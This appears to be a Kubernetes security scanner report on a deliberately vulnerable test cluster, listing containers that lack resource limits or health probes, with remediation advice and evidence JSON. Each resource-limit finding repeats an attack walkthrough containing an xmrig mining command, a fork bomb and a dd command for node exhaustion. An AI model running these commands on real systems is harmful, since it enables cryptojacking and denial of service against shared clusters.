Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n vulnerable --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/vulnerable/root-runner Workload 5.0
Container app in Deployment/vulnerable/root-runner is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/vulnerable/root-runner
Category: Infrastructure Modification Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Container app in workload Deployment/vulnerable/root-runner does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n vulnerable --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/vulnerable/socket-mounts-app Workload 5.0
Container app in Deployment/vulnerable/socket-mounts-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Infrastructure Modification Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Container app in workload Deployment/vulnerable/socket-mounts-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n vulnerable --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Pod/foothold-exec/foothold-decoy Workload 5.0
Container app in Pod/foothold-exec/foothold-decoy is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Pod/foothold-exec/foothold-decoy
Category: Infrastructure Modification Resource: Pod/foothold-exec/foothold-decoy Namespace: foothold-exec

Container app in workload Pod/foothold-exec/foothold-decoy does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourcePod

A Pod wraps one or more containers that share an IP, hostname, and volumes. From an attacker's perspective, a pod is a foothold: the API token mounted into it grants the pod's ServiceAccount permissions; if the pod is privileged or mounts the host filesystem, it's also a path to escape onto the node.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n foothold-exec --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Pod/foothold-exec/foothold-target Workload 5.0
Container app in Pod/foothold-exec/foothold-target is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Pod/foothold-exec/foothold-target
Category: Infrastructure Modification Resource: Pod/foothold-exec/foothold-target Namespace: foothold-exec

Container app in workload Pod/foothold-exec/foothold-target does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourcePod

A Pod wraps one or more containers that share an IP, hostname, and volumes. From an attacker's perspective, a pod is a foothold: the API token mounted into it grants the pod's ServiceAccount permissions; if the pod is privileged or mounts the host filesystem, it's also a path to escape onto the node.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n foothold-exec --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Job/gw-workloads/gw-batch Workload 5.0
Container batch in Job/gw-workloads/gw-batch is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Job/gw-workloads/gw-batch
Category: Infrastructure Modification Resource: Job/gw-workloads/gw-batch Namespace: gw-workloads

Container batch in workload Job/gw-workloads/gw-batch does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceJob

A Job executes one or more pods that must complete successfully. Jobs are a common attacker mechanism for one-shot privilege use ("create a Job that mounts the host filesystem, do the thing, exit").

  1. Attacker gains code execution in container batch (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container batch so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n gw-workloads --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container batch. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerbatch
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "batch",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/local-path-storage/local-path-provisioner Workload 5.0
Container local-path-provisioner in Deployment/local-path-storage/local-path-provisioner is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/local-path-storage/local-path-provisioner
Category: Infrastructure Modification Resource: Deployment/local-path-storage/local-path-provisioner Namespace: local-path-storage

Container local-path-provisioner in workload Deployment/local-path-storage/local-path-provisioner does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container local-path-provisioner (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container local-path-provisioner so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n local-path-storage --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container local-path-provisioner. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerlocal-path-provisioner
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "local-path-provisioner",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/secrets-bundle/cross-ns-consumer Workload 5.0
Container pause in Deployment/secrets-bundle/cross-ns-consumer is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/secrets-bundle/cross-ns-consumer
Category: Infrastructure Modification Resource: Deployment/secrets-bundle/cross-ns-consumer Namespace: secrets-bundle

Container pause in workload Deployment/secrets-bundle/cross-ns-consumer does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container pause (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container pause so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n secrets-bundle --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container pause. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerpause
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "pause",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
LOW

Container api in Deployment/flat-network/api has neither a liveness nor a readiness probe

KUBE-CONTAINER-PROBE-001 35 subjects Score 3.5
MITRE ATT&CK: T1499

Affected subjects (35)

LOW Deployment/flat-network/api Workload 3.5
Container api in Deployment/flat-network/api has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/flat-network/api
Category: Defense Evasion Resource: Deployment/flat-network/api Namespace: flat-network

Container api in Deployment/flat-network/api does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/api deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container api and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapi
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "api",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW DaemonSet/rbac-fixtures/daemon-app Workload 3.5
Container app in DaemonSet/rbac-fixtures/daemon-app has neither a liveness nor a readiness probe
Scope · Workload Workload DaemonSet/rbac-fixtures/daemon-app, runs on every node (per-node blast radius)
Category: Defense Evasion Resource: DaemonSet/rbac-fixtures/daemon-app Namespace: rbac-fixtures

Container app in DaemonSet/rbac-fixtures/daemon-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDaemonSet

A DaemonSet schedules one pod per node, typically for cluster infrastructure (CNI, log shipping, node monitoring). DaemonSets are frequent targets because they often need hostNetwork, hostPath, or privileged to do their job, which makes them ideal for attackers if compromised.

  1. A regression in the app deployed via DaemonSet/daemon-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/cloud-eks-test/imds-pivot-app Workload 3.5
Container app in Deployment/cloud-eks-test/imds-pivot-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Defense Evasion Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/imds-pivot-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

